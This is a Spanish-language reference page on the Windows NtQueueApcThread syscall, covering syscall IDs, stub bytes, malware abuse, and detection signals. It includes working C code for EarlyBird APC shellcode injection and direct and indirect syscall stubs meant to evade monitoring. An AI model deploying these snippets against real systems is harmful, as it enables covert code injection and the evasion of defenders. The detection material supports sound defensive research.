NtQueueApcThread
Encola una llamada a procedimiento asíncrono (APC) en modo usuario para un hilo objetivo.
Prototipo
NTSTATUS NtQueueApcThread( HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3 );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| ThreadHandle | HANDLE | in | Handle al hilo objetivo con acceso THREAD_SET_CONTEXT. |
| ApcRoutine | PIO_APC_ROUTINE | in | Dirección en modo usuario que el hilo ejecutará al entrar en una espera alertable. |
| ApcArgument1 | PVOID | in | Primer argumento pasado a ApcRoutine. A menudo usado como puntero al payload. |
| ApcArgument2 | PVOID | in | Segundo argumento pasado a ApcRoutine. |
| ApcArgument3 | PVOID | in | Tercer argumento pasado a ApcRoutine. |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x45 | win10-1507 |
| Win10 1607 | 0x45 | win10-1607 |
| Win10 1703 | 0x45 | win10-1703 |
| Win10 1709 | 0x45 | win10-1709 |
| Win10 1803 | 0x45 | win10-1803 |
| Win10 1809 | 0x45 | win10-1809 |
| Win10 1903 | 0x45 | win10-1903 |
| Win10 1909 | 0x45 | win10-1909 |
| Win10 2004 | 0x45 | win10-2004 |
| Win10 20H2 | 0x45 | win10-20h2 |
| Win10 21H1 | 0x45 | win10-21h1 |
| Win10 21H2 | 0x45 | win10-21h2 |
| Win10 22H2 | 0x45 | win10-22h2 |
| Win11 21H2 | 0x45 | win11-21h2 |
| Win11 22H2 | 0x45 | win11-22h2 |
| Win11 23H2 | 0x45 | win11-23h2 |
| Win11 24H2 | 0x45 | win11-24h2 |
| Server 2016 | 0x45 | winserver-2016 |
| Server 2019 | 0x45 | winserver-2019 |
| Server 2022 | 0x45 | winserver-2022 |
| Server 2025 | 0x45 | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 45 00 00 00 mov eax, 0x45 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
Encola un APC de usuario regular en el hilo objetivo. La SSN `0x45` es estable en cada build Win10/11 lanzada. Un APC de usuario en cola solo se dispara cuando el hilo objetivo entra en una espera *alertable* (`SleepEx(... TRUE)`, `WaitForSingleObjectEx(... TRUE)`, `MsgWaitForMultipleObjectsEx`, idles del bucle de mensajes GUI). Si el hilo nunca se vuelve alertable, el APC permanece en cola indefinidamente — por eso se introdujo `NtQueueApcThreadEx` con `QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC` (Win10 1809+) que fuerza el disparo. La inyección EarlyBird elude el requisito de alertabilidad apuntando a un hilo recién creado y suspendido que aún no ha ejecutado su primera instrucción.
Uso común por malware
Dos sabores principales abusan de esto. (1) Inyección APC remota clásica: abrir un hilo objetivo, encolar un APC apuntando a `LoadLibraryA` o directamente a shellcode en `ApcArgument1`, esperar a que dispare. (2) EarlyBird: crear un proceso benigno suspendido, encolar el APC en el hilo primario antes de que se ejecute el loader, reanudar — el APC dispara cuando el loader llega a su primer wait alertable en `ntdll!LdrpInitializeProcess`. Usado por Lazarus (BISTROMATH), FIN7/Carbanak, Finfisher, la combinación original APC+Atombombing y los BOF `AddressOfPage` de Cobalt Strike.
Oportunidades de detección
No hay un evento Sysmon dedicado. ETW Threat Intelligence emite `EtwTiLogQueueApcThread` para APCs de usuario encolados entre procesos — es la señal principal del kernel y lo que la mayoría de los EDR consumen. El callback `PsSetCreateThreadNotifyRoutine` solo dispara en la creación del hilo, no en el encolado del APC, así que EarlyBird se detecta por la *combinación* `CreateProcess(SUSPENDED)` + `NtQueueApcThread` + `NtResumeThread` desde un padre que no sea debugger. La telemetría de stack-walk en la entrega del APC es el patrón oro: si la cadena de retorno solo muestra frames de ntdll con una rutina APC en memoria privada, es inyección con alta confianza.
Ejemplos de syscalls directos
asmx64 direct stub
; Direct syscall stub for NtQueueApcThread (SSN 0x45, stable across all Win10/11)
NtQueueApcThread PROC
mov r10, rcx ; syscall convention
mov eax, 45h ; SSN
syscall
ret
NtQueueApcThread ENDPcEarlyBird APC injection
// Spawn target suspended, write shellcode, queue APC, resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
SIZE_T size = shellcode_len;
PVOID remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);
// APC fires inside ntdll!LdrpInitializeProcess's first alertable wait.
NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);cHell's Gate dynamic lookup
// Resolve SSN dynamically; even though 0x45 is stable, indirect syscalls hide it.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQueueApcThread"));
set_ssn(ssn);
indirect_syscall_invoke(/* hThread, remote_shellcode, NULL, NULL, NULL */);Mapeos MITRE ATT&CK
Last verified: 2026-05-20